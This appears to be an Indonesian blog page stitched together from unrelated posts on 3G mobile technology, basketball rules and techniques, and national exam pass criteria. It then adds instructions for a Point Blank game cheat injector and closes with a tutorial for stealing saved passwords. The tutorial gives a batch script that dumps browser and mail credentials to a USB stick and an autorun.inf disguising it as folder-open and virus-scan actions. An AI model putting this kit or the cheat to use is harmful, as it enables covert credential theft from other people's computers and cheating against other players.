RSS

3G


Pengertian


3G (dari bahasa Inggris: third-generation technology) merupakan sebuah standar yang ditetapkan oleh International Telecommunication Union (ITU) yang diadopsi dari IMT-2000 untuk diaplikasikan pada jaringan telepon selular. Istilah ini umumnya digunakan mengacu kepada perkembangan teknologi telepon nirkabel versi ke-tiga. Melalui 3G, pengguna telepon selular dapat memiliki akses cepat ke internet dengan bandwidth sampai 384 kilobit setiap detik ketika alat tersebut berada pada kondisi diam atau bergerak secepat pejalan kaki. Akses yang cepat ini merupakan andalan dari 3G yang tentunya mampu memberikan fasilitas yang beragam pada pengguna seperti menonton video secara langsung dari internet atau berbicara dengan orang lain menggunakan video. 3G mengalahkan semua pendahulunya, baik GSM maupun GPRS. Beberapa perusahaan seluler dunia akan menjadikan 3G sebagai standar baru jaringan nirkabel yang beredar di pasaran ataupun negara berkembang.

Sejarah
Pada dasarnya perkembangan teknologi komunikasi ini disebabkan oleh keinginan untuk selalu memperbaiki kinerja, kemampuan dan efisiensi dari teknologi generasi sebelumnya. Ada pun perkembangan teknologi nirkabel dapat dirangkum sebagai berikut:

• Generasi pertama: analog, kecepatan rendah (low-speed), cukup untuk suara. Contoh: NMT (Nordic Mobile Telephone) dan AMPS (Analog Mobile Phone System). Dimulai pada awal 1980-ansebagai bagian komersil dari AMPS. Menggunakan format FDMA (Frequency Division Multiple Access) yang membawa suara analog sebesar 800 MHz pita frekuensi.

• Generasi kedua: digital, kecepatan rendah - menengah. Contoh: GSM dan CDMA2000 1xRTT. Berkembang di awal 1990-an saat operator seluler mengeluarkan 2 macam standar suara digital,GSM dan CDMA, dimana GSM menggunakan sistem TDMA (Time Division Multiple Access) yang mampu mengirimkan panggilan sampai 8 saluran di pita 900 dan 1800 MHz, sedangkanCDMA sendiri adalah singkatan dari (Code Division Multiple Access) yang mampu mengirimkan sinyal panggilan sampai 16 saluran di pita frekuensi 800 MHz.

• Generasi ketiga: digital, kecepatan tinggi (high-speed), untuk pita lebar (broadband). Contoh: W-CDMA (atau dikenal juga dengan UMTS) dan CDMA2000 1xEV-DO. 3G merupakan terobosan dalam pengiriman paket data yang memungkinkan berbagai aplikasi jaringan diterapkan. Dengan kata lain, 3G menghadirkan sebuah perubahan evolusioner dalam kecepatan pemindahan data.

Teknologi 3G

Teknologi 3G terbagi menjadi GSM dan CDMA. Teknologi 3G sering disebut dengan Mobile broadband karena keunggulannya sebagai modem untuk internet yang dapat dibawa ke mana saja.
Keberhasilan layanan 3 G di Eropa dan Jepang ini disebabkan oleh faktor:
• Dukungan pemerintah. Pemerintah Jepang tidak mengenakan biaya di muka (upfront fee) atas penggunaan lisensi spektrum 3G atas operator-operator di Jepang (ada tiga operator: NTT Docomo, KDDI dan Vodafone). Sedangkan pemerintah Korea Selatan, walau pun mengenakan biaya di muka, memberikan insentif dan bantuan dalam pengembangan nirkabel pita lebar (Korea Selatan adalah negara yang menggunakan Cisco Gigabit Switch Router terbanyak di dunia) sebagai bagian dalam strategi pengembangan infrastruktur.

• Kultur masyarakatnya. Layanan video call, yang diramal menjadi killer application tidak terlalu banyak digunakan di kedua negara tersebut. Namun, layanan seperti download music dan akses Internet sangat digemari. Operator seperti NTT Docomo (Jepang) memberikan layanan Chaku Uta untuk download music. Sedangkan di Korea, layanan web presence seperti Cyworld yang diberikan oleh SK Tel, sangat digemari. Dengan layanan ini, pelanggan bisa mengambil foto dari handset dan langsung memuatnya ke web portal miliknya di Cyworld. Layanan ini kemudian ditiru oleh Flickr dengan handset N73.

• Keragaman layanan konten. Docomo dan SKTel tidak menggunakan WAP standar sebagai layanan konten nya. Docomo mengembangkan aplikasi browser yang disebut iMode, sedangkan SKTel mempunyai June dan Nate.
   
Salah paham tentang 3G

Ada beberapa pemahaman yang salah tentang 3G di dalam masyarakat umum:
• Layanan 3G tidak bisa tanpa ada cakupan layanan 3G dari operator. Hanya membeli sebuah handset 3G, tidak berarti bahwa layanan 3G dapat dinikmati. Handset dapat secara otomatis pindah ke jaringan 3G bila, pelanggan tidak menerima cakupan 3G. Sehingga bila seseorang sedang bergerak dan menggunakan layanan video call, kemudian terpaksa berpindah ke jaringan 2G, maka layanan video call akan putus.

• Layanan 3G berada pada frekuensi 1.900 Mhz. ITU-T memang mendefinisikan layanan 3G untuk GSM pada frekuensi 1.900 Mhz dengan lebar pita sebesar 60 Mhz. Namun, pada umumnya, teknologi berbasis CDMA2000 menggunakan spektrum di frekuensi 800 Mhz, atau yang biasa dikenal sebagai spektrum PCS (Personal Communication System).

5 posisi pemain bola basket


1. Point Guard (PG): Tugasnya adalah membawa bola dan memberikan passing pada temannya. Dia yang mengatur irama permainan timnya, apakah cepat atau lambat.. Biasa juga disebut playmaker.. Posisi ini biasanya dipegang oleh orang yang berbadan kecil tapi lincah dan jago mendrible.

2. Shooting Guard (SG): Seperti namanya, SG adalah orang yang punya tugas untuk menembak bola dari jarak-jarak yang cukup jauh.. Dia harus cepat bergerak dan mencari posisi yang kosong untuk melepaskan tembakan.. Posisi ini biasanya dipegang oleh orang yang paling bagus akurasi shootingnya.

3. Small Forward (SF): SF punya tugas mencetak angka. Dengan kata lain seorang SF harus mampu menerobos pertahanan dan melakukan lay-up atau dunk, juga melakukan shoot dari jarak-jarak tertentu. Posisi ini biasanya dipegang oleh orang yang punya tekhnik hebat dan jago mencetak angka.

4. Power Forward (PF):  tugasnya adalah merebound bola.. Rebound sangat penting, jika dalam pertahanan, rebound penting agar bola tak kembali ke tangan musuh. Jika dalam penyerangan, rebound penting untuk kembali menciptakan kesempatan membuat angka.. Biasanya posisi ini dipegang oleh orang yang lompatannya tinggi dan badannya cukup besar untuk beradu fisik.


5. Center (C):  tugasnya di pertahanan dan penyerangan.. Pada pertahanan, ia harus mampu mengamankan ringnya dari tembakan jarak dekat seperti lay-up atau dunk musuh.. Pada penyerangan, C harus mampu melihat posisi teman-temannya dan memberikan umpan pada teman yang kosong (karena posisinya di tengah, sehingga mudah memberi umpan ke sisi manapun).. Selain itu dia pun harus kuat beradu fisik dengan musuh untuk mencetak angka di bawah ring. Posisi ini biasanya dipegang oleh orang yang badannya paling tinggi dan besar.

Bola Basket

Bola basket adalah olahraga bola berkelompok yang terdiri atas dua tim beranggotakan masing-masing lima orang yang saling bertanding mencetak poin dengan memasukkan bola ke dalam keranjang lawan. Bola basket sangat cocok untuk ditonton karena biasa dimainkan di ruang olahraga tertutup dan hanya memerlukan lapangan yang relatif kecil. Selain itu, bola basket mudah dipelajari karena bentuk bolanya yang besar, sehingga tidak menyulitkan pemain ketika memantulkan atau melempar bola tersebut.

Sejarah
Basket dianggap sebagai olahraga unik karena diciptakan secara tidak sengaja oleh seorang guru olahraga. Pada tahun 1891, Dr. James Naismith, seorang guru Olahraga asal Kanada yang mengajar di sebuah perguruan tinggi untuk para siswa profesional di YMCA (sebuah wadah pemuda umat Kristen) diSpringfield,Massachusetts, harus membuat suatu permainan di ruang tertutup untuk mengisi waktu para siswa pada masa liburan musim dingin di New England.Terinspirasi dari permainan yang pernah ia mainkan saat kecil di Ontario,Naismith menciptakan permainan yang sekarang dikenal sebagai bola basket pada 15 Desember 1891.
Pada awalnya, setiap tim berjumlah sembilan orang dan tidak ada dribble, sehingga bola hanya dapat berpindah melalui lemparan. Sejarah peraturan permainan basket diawali dari 12 aturan dasar yang ditulis sendiri oleh James Naismith. Aturan dasar tersebut adalah sebagai berikut.
1. Bola dapat dilemparkan ke segala arah dengan menggunakan salah satu atau kedua tangan.

2. Bola dapat dipukul ke segala arah dengan menggunakan salah satu atau kedua tangan, tetapi tidak boleh dipukul menggunakan kepalan tangan (meninju).

3. Pemain tidak diperbolehkan berlari sambil memegang bola. Pemain harus melemparkan bola tersebut dari titik tempat menerima bola, tetapi diperbolehkan apabila pemain tersebut berlari pada kecepatan biasa.
4. Bola harus dipegang di dalam atau diantara telapak tangan. Lengan atau anggota tubuh lainnya tidak diperbolehkan memegang bola.

5. Pemain tidak diperbolehkan menyeruduk, menahan, mendorong, memukul pemain lawan dengan cara disengaja. Pelanggaran pertama terhadap peraturan ini akan dihitung sebagai kesalahan, pelanggaran kedua akan diberi sangsi berupa diskualifikasi pemain pelanggar hingga keranjang tim nya dimasuki oleh bola lawan, dan apabila pelanggaran tersebut dilakukan dengan tujuan untuk mencederai lawan, maka pemain pelanggar akan dikenai hukuman tidak boleh ikut bermain sepanjang pertandingan. Pada masa ini, pergantian pemain tidak diperbolehkan.

6. Sebuah kesalahan dibuat pemain apabila memukul bola dengan kepalan tangan (meninju), melakukan pelanggaran terhadap aturan 3 dan 4, serta melanggar hal-hal yang disebutkan pada aturan 5.

7. Apabila salah satu pihak melakukan tiga kesalahan berturut-turut, maka kesalahan itu akan dihitung sebagai gol untuk lawannya (berturut-turut berarti tanpa adanya pelanggaran balik oleh lawan).

8. Apabila bola keluar lapangan pertandingan, bola akan dilemparkan kembali ke dalam dan dimainkan oleh pemain pertama yang menyentuhnya. Apabila terjadi perbedaan pendapat tentang kepemilikan bola, maka wasit yang akan melemparkannya ke dalam lapangan. pemain yang melempar bola diberi waktu 5 detik untuk melemparkan bola. Apabila ia memegang lebih lama dari waktu tersebut, maka kepemilikan bola akan berpindah. Apabila salah satu pihak melakukan hal yang dapat menunda pertandingan, maka wasit dapat memberi mereka sebuah peringatan pelanggaran.

9. Wasit berhak untuk memperhatikan permainan para pemain dan mencatat jumlah pelanggaran dan memberi tahu wasit pembantu apabila terjadi pelanggaran berturut-turut. Wasit memiliki hak penuh untuk memberikan diskualifikasi pemain yang melakukan pelanggaran sesuai dengan yang tercantum dalam aturan 5.

10. Wasit pembantu memperhatikan bola dan mengambil keputusan apabila bola dianggap telah keluar lapangan, pergantian kepemilikan bola, serta menghitung waktu. Wasit pembantu berhak menentukan sah tidaknya suatu gol dan menghitung jumlah gol yang terjadi.

11. Waktu pertandingan adalah 4 babak masing-masing 10 menit

12. Pihak yang berhasil memasukkan gol terbanyak akan dinyatakan sebagai pemenang.

Lapangan, Waktu, dan Jumlah Pemain Bola Basket
Permainan bola basket adalah persegi panjang dengan ukuran panjang lapangan yaitu 26 meter serta lebar lapangan yaitu 14 meter. Tiga buah lingkaran yang terdapat di dalam lapangan basket memiliki panjang jari-jari yaitu 1,80 meter.
Jumlah pemain dalam permainan bola basket adalah 5 orang dalam satu regu dengan cadangan 5 orang. Sedangkan jumlah wasit dalam permainan bola basket adalah 2 orang. Wasit 1 disebut Referee sedangkan wasit 2 disebut Umpire.
Waktu permainan 4 X 10 menit. Di antara babak 1, 2, 3, dan babak 4 terdapat waktu istirahat selama 10 menit. Bila terjadi skor yang sama pada akhir pertandingan harus diadakan perpanjangan waktu sampai terjadi selisih skor. Di antara dua babak tambahan terdapat waktu istirahat selama 2 menit. Waktu untuk lemparan ke dalam yaitu 5 detik.
Keliling bola yang digunakan dalam permainan bola basket adalah 75 cm - 78 cm. Sedangkan berat bola adalah 600 - 650 gram. Jika bola dijatuhkan dari ketinggian 1,80 meter pada lantai papan, maka bola harus kembali pada ketinggian antara 1,20 - 1,40 meter.
Panjang papan pantul bagian luar adalah 1,80 meter sedangkan lebar papan pantul bagian luar adalah 1,20 meter. Dan panjang papan pantul bagian dalam adalah 0,59 meter sedangkan lebar papan pantul bagian dalam adalah 0,45 meter.
Jarak lantai sampai ke papan pantul bagian bawah adalah 2,75 meter. Sementara jarak papan pantul bagian bawah sampai ke ring basket adalah 0,30 meter. Ring basket memiliki panjang yaitu 0,40 meter. Sedangkan jarak tiang penyangga sampai ke garis akhir adalah 1 meter.
Panjang garis tengah lingkaran pada lapangan basket adalah 1,80 meter dengan ukuran lebar garis yaitu 0,05 meter. Panjang garis akhir lingkaran daerah serang yaitu 6 meter. Sedangkan panjang garis tembakan hukuman yaitu 3,60 meter.

Peraturan Permainan Bola Basket
Aturan dasar pada permainan Bola Basket adalah sebagai berikut.

- Bola dapat dilemparkan ke segala arah dengan menggunakan salah satu atau kedua tangan.

- Bola dapat dipukul ke segala arah dengan menggunakan salah satu atau kedua tangan, tetapi tidak boleh dipukul menggunakan kepalan tangan (meninju).

- Pemain tidak diperbolehkan berlari sambil memegang bola. Pemain harus melemparkan bola tersebut dari titik tempat menerima bola, tetapi diperbolehkan apabila pemain tersebut berlari pada kecepatan biasa.

- Bola harus dipegang di dalam atau diantara telapak tangan. Lengan atau anggota tubuh lainnya tidak diperbolehkan memegang bola.

- Pemain tidak diperbolehkan menyeruduk, menahan, mendorong, memukul, atau menjegal pemain lawan dengan cara bagaimanapun. Pelanggaran pertama terhadap peraturan ini akan dihitung sebagai kesalahan, pelanggaran kedua akan diberi sanksi berupa diskualifikasi pemain pelanggar hingga keranjang timnya dimasuki oleh bola lawan, dan apabila pelanggaran tersebut dilakukan dengan tujuan untuk mencederai lawan, maka pemain pelanggar akan dikenai hukuman tidak boleh ikut bermain sepanjang pertandingan. Pada masa ini, pergantian pemain tidak diperbolehkan.

- Sebuah kesalahan dibuat pemain apabila memukul bola dengan kepalan tangan (meninju), melakukan pelanggaran terhadap aturan 3 dan 4, serta melanggar hal-hal yang disebutkan pada aturan 5.

 - Apabila salah satu pihak melakukan tiga kesalahan berturut-turut, maka kesalahan itu akan dihitung sebagai gol untuk lawannya (berturut-turut berarti tanpa adanya pelanggaran balik oleh lawan).

 - Apabila bola keluar lapangan pertandingan, bola akan dilemparkan kembali ke dalam dan dimainkan oleh pemain pertama yang menyentuhnya. Apabila terjadi perbedaan pendapat tentang kepemilikan bola, maka wasitlah yang akan melemparkannya ke dalam lapangan. Pelempar bola diberi waktu 5 detik untuk melemparkan bola dalam genggamannya. Apabila ia memegang lebih lama dari waktu tersebut, maka kepemilikan bola akan berpindah. Apabila salah satu pihak melakukan hal yang dapat menunda pertandingan, maka wasit dapat memberi mereka sebuah peringatan pelanggaran.

- Wasit berhak untuk memperhatikan permainan para pemain dan mencatat jumlah pelanggaran dan memberi tahu wasit pembantu apabila terjadi pelanggaran berturut-turut. Wasit memiliki hak penuh untuk memberikan diskualifikasi pemain yang melakukan pelanggaran sesuai dengan yang tercantum dalam aturan 5.

- Wasit pembantu memperhatikan bola dan mengambil keputusan apabila bola dianggap telah keluar lapangan, pergantian kepemilikan bola, serta menghitung waktu. Wasit pembantu berhak menentukan sah tidaknya suatu gol dan menghitung jumlah gol yang terjadi.

- Waktu pertandingan adalah 4 quarter masing-masing 10 menit

- Pihak yang berhasil memasukkan gol terbanyak akan dinyatakan sebagai pemenang

Teknik Dasar Permainan Bola Basket
Cara memegang bola basket adalah sikap tangan membentuk mangkok besar. Bola berada di antara kedua telapak tangan. Telapak tangan melekat di samping bola agak ke belakang, jari-jari terentang melekat pada bola. Ibu jari terletak dekat dengan badan di bagian belakang bola yang menghadap ke arah tengah depan. Kedua kaki membentuk kuda-kuda dengan salah satu kaki di depan. Badan sedikit condong ke depan dan lutut rileks.

Dalam menangkap bola harus diperhatikan agar bola berada dalam penguasaan. Bola dijemput telapak tangan dengan jari-jari tangan terentang dan pergelangan tangan rileks. Saat bola masuk di antara kedua telapak tangan, jari tangan segera melekat ke bola dan ditarik ke belakang atau mengikuti arah datangnya bola. Menangkap bola (catching ball) terdiri dari dua macam cara yaitu menangkap bola di atas kepala dan menangkap boka di depan dada.

Mengoper atau melempar bola terdiri atas tiga cara yaitu melempar bola dari atas kepala (over head pass), melempar bola dari dari depan dada (chest pass) yang dilakukan dari dada ke dada dengan cepat dalam permainan, serta melempar bola memantul ke tanah atau lantai (bounce pass).

Menggiring bola (dribbling ball) adalah suatu usaha membawa bola ke depan. Caranya yaitu dengan memantul-mantulkan bola ke lantai dengan satu tangan. Saat bola bergerak ke atas telapak tangan menempel pada bola dan mengikuti arah bola. Tekanlah bola saat mencapai titik tertinggi ke arah bawah dengan sedikit meluruskan siku tangan diikuti dengan kelenturan pergelangan tangan. Menggiring bola dalam permainan bola basket dapat dibagi menjadi dua cara, yaitu menggiring bola rendah dan menggiring bola tinggi. Menggiring bola rendah bertujuan untuk melindungi bola dari jangkauan lawan. Menggiring bola tinggi dilakukan untuk mengadakan serangan yang cepat ke daerah pertahanan lawan.

Pivot atau memoros adalah suatu usaha menyelamatkan bola dari jangkauan lawan dengan salah satu kaki sebagai porosnya, sedangkan kaki yang lain dapat berputar 360 derajat.

Shooting adalah usaha memasukkan bola ke dalam keranjang atau ring basket lawan untuk meraih poin. Dalam melakukan shooting ini dapat dilakukan dengan dua cara yaitu dengan shooting dengan dua tangan serta shooting dengan satu tangan.

Lay-up adalah usaha memasukkan bola ke ring atau keranjang basket dengan dua langkah dan meloncat agar dapat meraih poin. Lay-up disebut juga dengan tembakan melayang.

Teknik Pro Permainan Bola Basket
- Fade Away

Fade away adalah tehnik yang mendorong badan kebelakang saat melakukan shoot, sehingga menyulitkan defender untuk menghadang bola. tehnik ini lumayan susah dilakukan buat pemain yang baru belajar basket. Bila keseimbangan badan tidak terjaga bisa-bisa terpelanting dan jatuh kebelakang. Pemain NBA yang sering memakai teknik ini adalah sang legenda basket seperti Michael Jordan dan Kobe Bryant.

- Hook Shoot

Hook adalah teknik yang sangat efektif bila pemain dijaga oleh orang yang lebih tinggi dari pemain. Yaitu cara menembak dari samping dengan satu tangan. Jadi jarak antara orang yang menghadang dan pemain bias agak jauh. Belakangan tehnik ini sering dipakai oleh Rony Gunawan Satria Muda Britama waktu melawan Garuda Bandung di Final 2009, dan keakuratan mencapat 80%.

- Jump Shoot

Teknik yang butuh lompatan tinggi, dan akurasi tembakan yang mumpuni.

- Slamdunk

Slamdunk adalah salah satu teknik yang paling populer. Sebenarnya cukup simpel, yaitu hanya memasukkan bola secara langsung ke ring dan menghempaskan tangan ring basket. Walaupun simpel, tapi untuk orang dengan tinggi 171 cm slam seperti ini hampir mustahil untuk dilakukan karena lompatannya tidak cukup tinggi.

Tentang Kriteria Ujian Nasional SMP Tahun Pelajaran 2010-2011 (Permendiknas No. 45 Tahun 2010)

Ujian Nasional merupakan kegiatan pengukuran pencapaian kompetensi peserta didik pada beberapa mata pelajaran secara nasional.
Meski keberadaannya masih sering diwarnai pro-kontra, pada tahun pelajaran 2010/2011 ini, pemerintah melalui Badan Standar Nasional Pendidikan tetap akan menyelenggarakan Ujian Nasional.
Pada tanggal 31 Desember 2010 yang lalu, Kementerian Pendidikan Nasional telah mengeluarkan peraturan tentang Kriteria Kelulusan Peserta Didik Tahun Pelajaran 2010/2011, yang dituangkan dalam Permendiknas No. 45 Tahun 2010.Menurut Peraturan ini, terdapat empat kriteria kelulusan peserta didik yaitu:


- menyelesaikan seluruh program pembelajaran; dalam arti memiliki rapor semester 1 (satu) sampai dengan semester 6 (enam).

- memperoleh nilai minimal baik pada penilaian akhir untuk seluruh mata pelajaran yang terdiri atas: (a) kelompok mata pelajaran agama dan akhlak mulia; (b) kelompok mata pelajaran kewarganegaraan dan kepribadian; (c) kelompok mata pelajaran estetika, dan (d) kelompok mata pelajaran jasmani, olah raga, dan kesehatan;

- lulus Ujian Sekolah untuk kelompok mata pelajaran ilmu pengetahuan dan teknologi; dan

- lulus Ujian Nasional.

Selanjutnya dikemukakan pula bahwa peserta didik dinyatakan lulus Ujian Nasional apabila nilai rata-rata dari semua Nilai Akhir mencapai paling rendah 5,5 (lima koma lima) dan nilai setiap mata pelajaran paling rendah 4,0 (empat koma nol).
Nilai Akhir diperoleh dari nilai gabungan antara Nilai Sekolah dari mata pelajaran yang diujinasionalkan dan Nilai Ujian Nasional, dengan pembobotan 40% untuk Nilai Sekolah dari mata pelajaran yang diujinasionalkan dan 60% untuk Nilai Ujian Nasional.
Khusus untuk SMP, Nilai Sekolah diperoleh dari gabungan antara nilai Ujian Sekolah dan nilai rata-rata rapor semester 1, 2, 3, 4, dan semester 5 dengan pembobotan 60% (enam puluh persen) untuk nilai Ujian Sekolah dan 40% (empat puluh persen) untuk nilai rata-rata rapor.

Ujian Sekolah adalah kegiatan pengukuran dan penilaian kompetensi peserta didik yang dilakukan oleh sekolah untuk semua mata pelajaran pada kelompok ilmu pengetahuan dan teknologi.

Secara skematik, proses terjadinya nilai sekolah dan nilai akhir untuk menyatakan kelulusan peserta didik dapat dilihat dalam gambar berikut ini :



Berdasarkan gambar di atas tampak bahwa untuk meluluskan peserta didik tidak ditentukan satu-satunya melalui hasil Ujian Nasional tetapi ditentukan pula melalui proses pendidikan sejak seorang peserta didik memasuki sekolah yang bersangkutan.

Besaran standar Nilai Akhir 5,5, menurut saya tampaknya untuk saat ini sudah dianggap wajar, bahkan jika memungkinkan ke depannya bisa ditingkatkan lagi. Beberapa tahun yang lalu kita pernah menggunakan standar di bawah 5,5 bahkan hingga 3,25, bagi saya ini merupakan sebuah angka yang sungguh menyedihkan karena didalamnya terkandung makna kualitas pendidikan sekaligus kualitas anak bangsa kita.

Anti Update Edition PKL_Injection


Tutorial :
Langkah Pertama mempunyai Flashdisk
1.Download Anti Update Edition PKL_Injection

2.Setelah Download jngan extract dulu , Pindahkan ke Flashdisk

3.Baru Extract Cheatnya dari Flashdisk

4.Buka Anti Update Edition PKL_Injection.exe dari flashdisk

5.Buka PB Launcher.exe (Yang berwarna biru)

6.START PB NYA

7.Ntar akan tersuspend sendiri

8.Tekan Inject Cheat Sampai Berbunyi dan keluar notice

9.Klik Ok - ok dulu Notice nya

10.Setelah di OK Lepas Flasdisk Kamu...

11.Setelah Flashdisk di lepas Kemudisan Baru klik Lanjutkan Ke PB

========
Fitur
========

[-]MapHack

[-]Masmed

[-]Cheat Dewa

[-]Cheat Topeng Hack

[-]Cheat Hack Char

++++++++++++++++++++

Hack Title Bagi Yang Ingin Beli Senjta Poin Tanpa Title

Spion Untuk War Clan

=======
Hotkey:
=======



F9 : Map hack ON

F10 : Map Hack OFF

F6 : Hack Misi Complete

F7 : reset misi

F4 : Cheat Dewa On

F5 : Cheat dewa Off

Insert : Minimize ON

Delete : Minimize OFF


Numlock : Topeng Telur

NUM 0 : White Mask

NUM 1 : Black Mask

NUM 2 : Blue Russian Mask

NUM 3 : Kotiki Mask

NUM 4 : Desert Mask

NUM 5 : Flame Mask

NUM 6 : Dual Color Mask

NUM 7 : Iron Mask

NUM 8 : Target Mask

NUM 9 : Pumpkin Mask

tanda (-): Jewel Pink Mask

PageUp : Gold Mask

Tanda (/): Skull Mask

PageDown : Jean Pierrot Mask


F1 : Hack Char + Beret Reloaded

F2 : Hack Char Robot

F3 : Reset Char

F3 : Spion

F12 : Title Hack

==================
Cara Pakai
==================

Hack Map

` Saat Di Lobby Tekan F9(On Maphack) Cari Map yang namanya Heroin\Usnet - Lalu masuk saja

Kemudian Play map tersebut.....gak usah Off juga gak bakalan BT(BugTrap)


Masmed

[~]Beli Misi

[~]Selesaikan Misi P

[~]setelah selesai Buka Misi

[~]Tekan F6

[~]Klik saja kartu P ke O ke I sampak K

[~]Tutup Misi

[~]Tekan F7

[~]Play




~Setelah Selesai Permainan Cek Masmter Medal kamu....

pasti bertambah 1

` Cheat Dewa

MapHack Dulu lalu saat baru main langsung ke tempat musuh respawn tekan F4 Untuk Aktif...

Ntar musuh diam saja lalu lo kill sepuasnya.....

Kill headshot ....Shot...shot.....

(Apabila Terasa Bosan Bisa Di Off kan Dengan Cara Tekan F5)



` Hack Topeng

Masuk Room Pilih Topeng yang kamu Numloack (1 - 0)mau lalu Play


` Cara Hack Char

[~]Masuk Room

[~]Play


[~]saat loading Map Tekan F1

[~]Baru Main ada tulisan sedang mempersiapkan Game tekan F3


DOWNLOAD 

PKL_INJECTION V.6.0

---------------------HOTKEY-------------------------


[-] WALLSHOOT ON [NO BT] = HOME
[-] WALLSHOOT OFF [NO BT] = END
[-] MAP HACK [ON] = F9
[-] MAP HACK [OFF] = F10
[-] ICE [FREEZE] = F4
[-] MINIMIZE [ON] = INSERT
[-] MINIMIZE [OFF] = DELETE
[-] HACK MISSION COMPLETE = F6
[-] RESET MISSION = F7




[-] Numlock = Topeng Telur
[-] NUM 1 = WHITE MASK
[-] NUM 2 = BLACK MASK
[-] NUM 3 = BLUE RUSSIAN MASK
[-] NUM 4 = KOTIKI MASK
[-] NUM 5 = DESERT MASK
[-] NUM 6 = FLAME MASK 
[-] NUM 7 = IRON MASK
[-] NUM 8 = TARGET MASK
[-] NUM 9 = PUMPKIN MASK
[-] TANDA ( - ) = JEWEL PINK MASK
[-] TANDA ( / ) = SKULL MASK 
[-] PAGEDOWN = JEAN PIERROT MASK


F1 = HEADGEAR + BLACK BERET (RELOAD ALL WEAPON)
F2 = CHARACTER
F3 = RESET CHARACTER + SPION  




-------------------CARA PAKAI-----------------------


[-] MAP HACK 


- Tekan F9 [ON] pas di lobby
- Cari room yg namanya Heroin|Usnet
- Play
- Pas baru maen tekan F10 [OFF]


[-] WALL SHOT


- Masuk room
- Tekan HOME
- Play
- Pas loading map tekan END


[-] CHEAT DEWA


- Aktifin MAP HACK dulu 
- Pas baru maen langsung ke tempat respawn musuh tekan F$ untuk aktifin
- Ntar musuh diem aja, lo kill sepuasnya dah


[-] CHAR HACK


- Masuk room
- Play
- Tekan F1 pas loading map
- Pas maen ada tulisan "sedang mempersiapkan game" tekan F3


[-] MASTER MEDAL


- Beli Misi
- Selesaikan misi "P"
- Setelah selesai, buka mission
- Tekan F6
- Klik aja card "P" sampai "K"
- Tutup misi
- Tekan F11


-----DOWNLOAD-----

MENCURI PASSWORD (Password Stealing)



Mencuri Password Menggunakan USB FlashDisk


Mungkin anda tidak menyangka bahwa media penyimpanan data yang sangat mobile seperti USB 


FlashDisk dapat menjadi sebuah media kejahatan yang sangat berbahaya. Saya serius ketika berkata berbahaya karena USB FlashDisk dapat digunakan sebagai senjata yang sangat efektif oleh para cracker untuk mencuri password anda tanpa anda ketahui dengan syarat sang cracker dapat menancapkan USB FlashDisk miliknya ke computer yang tersimpan password.Dengan alasan tidak ingin repot, kebanyakan orang (termasuk saya) menggunakan password manager yang disediakan oleh banyak aplikasi, browser internet misalnya. Untuk penggunaan yang sering, memang fitur “remember me” atau “auto complete password” memang sangat memanjakan, tapi dibalik kemanjaan itu tersimpan potensi bahaya yang tidak akan menyenangkan bila anda yang jadi korban. 
Saya akan memperlihatkan kepada anda.


Pertama kita butuh software yang berfungsi untuk me-recover password. Saya tidak akan meminta anda untuk membuat sendiri password recoverer kok karena di dunia maya sudah ada banyak sekali yang mengembangkan aplikasi seperti itu dan GERATIS misalnya http://www.nirsoft.net/. Perlu diperhatikan bahwa menurut yang punya/pengembang, beberapa antivirus akan memberikan false alarm untuk tools ini. aku g ikut-ikutan untuk permasalahan yang satu ini *tidak bertanggungjawab mode=ON*


haha


nah!
sekarang kumpulkan sofware2 ini:


IE PassView (Internet Explorer Password View)
IE PassView merupakan password revealer untuk menampilkan password yang tersimpan di Internet 


Explorer.


PasswordFox (Mozilla Firefox Password View)
PasswordFox ini memungkinkan anda membaca nama user dan password yang disimpan oleh Mozilla 
Firefox. Secara default PasswordFox akan menampilkan username dan password yang tersimpan di folder Profiles (C:\Documents and Settings\[user name]\Application Data\Mozilla\Firefox\Profiles\tabk8vv1.default), atau anda dapat mengubah direktori ini di menu File-Select Folder. Setelah anda menjalankan PasswordFox maka PasswordFox akan menampilkan informasi seperti : Record Index, Web Site, User Name, Password, User Name Field, Password Field, dan Signons filename.


Mail PassView 
Seperti namanya Mail PassView ini bermanfaat untuk menampilkan password dan informasi akun lain. 


email clients yang dapat ditampilkan oleh aplikasi berukuran mini ini diantaranya:
Outlook Express 
Microsoft Outlook 2000 (akun POP3 dan SMTP) 
Microsoft Outlook 2002/2003/2007 (POP3, IMAP, HTTP dan SMTP) 
Windows Mail 
Windows Live Mail 
IncrediMail 
Eudora 
Netscape 6.x/7.x (bila password tidak dienkrip) 
Mozilla Thunderbird (bila password tidak dienkrip) 
Group Mail Free 
Yahoo! Mail (jika password disimpan di aplikasi Yahoo! Messenger)
Hotmail/MSN mail (jika password disimpan di aplikasi MSN/Windows/Live Messenger)
Gmail (jika password disimpan oleh Gmail Notifier, Google Desktop, atau Google Talk. 


Dialupass,ChromePass, MessenPass, OperaPassView, dan kawan-kawan. Silakan tambahin sendiri. Dengan menggunakan tools di atas dan sebuah USB FlashDisk anda dapat membuat sendiri sebuah rootkit untuk cracking. Keren kan ?


Berikut ini adalah langkah-langkah untuk menjadikan USB FlashDisk anda sebagai senjata perampok password. Demi kelancaran anda perlu mematikan antivirus anda karena kemungkinan false alarm. Kopi semua file executeable (iepv.exe, mailpv.exe, passwordfox.exe) ke USB FlashDisk anda. Kemudian buat batch file untuk menjalankan semua aplikasi pencuri password tersebut. Untuk itu buka notepad dan masukan key berikut:


[code]
start PasswordFox.exe /stext Mozilla Firefox_Password.txt
start iepv.exe /stext Internet Explorer_Password.txt
start mailpv.exe /stext Mail_Password.txt[/code]


Perintah (script) di atas akan menjalankan iepv.exe, mailpv.exe, passwordfox.exe dan mencatat semua password yang diperoleh ke file teks dengan nama yang anda tentukan, pada contoh “Mozilla Firefox_Password.txt”
Setelah anda mengetikkan script diatas, simpan notepad sebagai “launch.bat” tanpa tanda petik.
Untuk menjalankan launch.bat secara otomatis saat USB FlashDisk menancap kita membutuhkan file autorun.inf, untuk itu buka notepad dan buat autorun dengan mengetik script berikut:
[code]
[autorun]
open=launch.bat
shellexecute= launch.bat
action=Open folder to view files
shell\Explore\command= launch.bat
shell\Open\command= launch.bat
shell\Scan for Viruses...\command= launch.bat[/code]


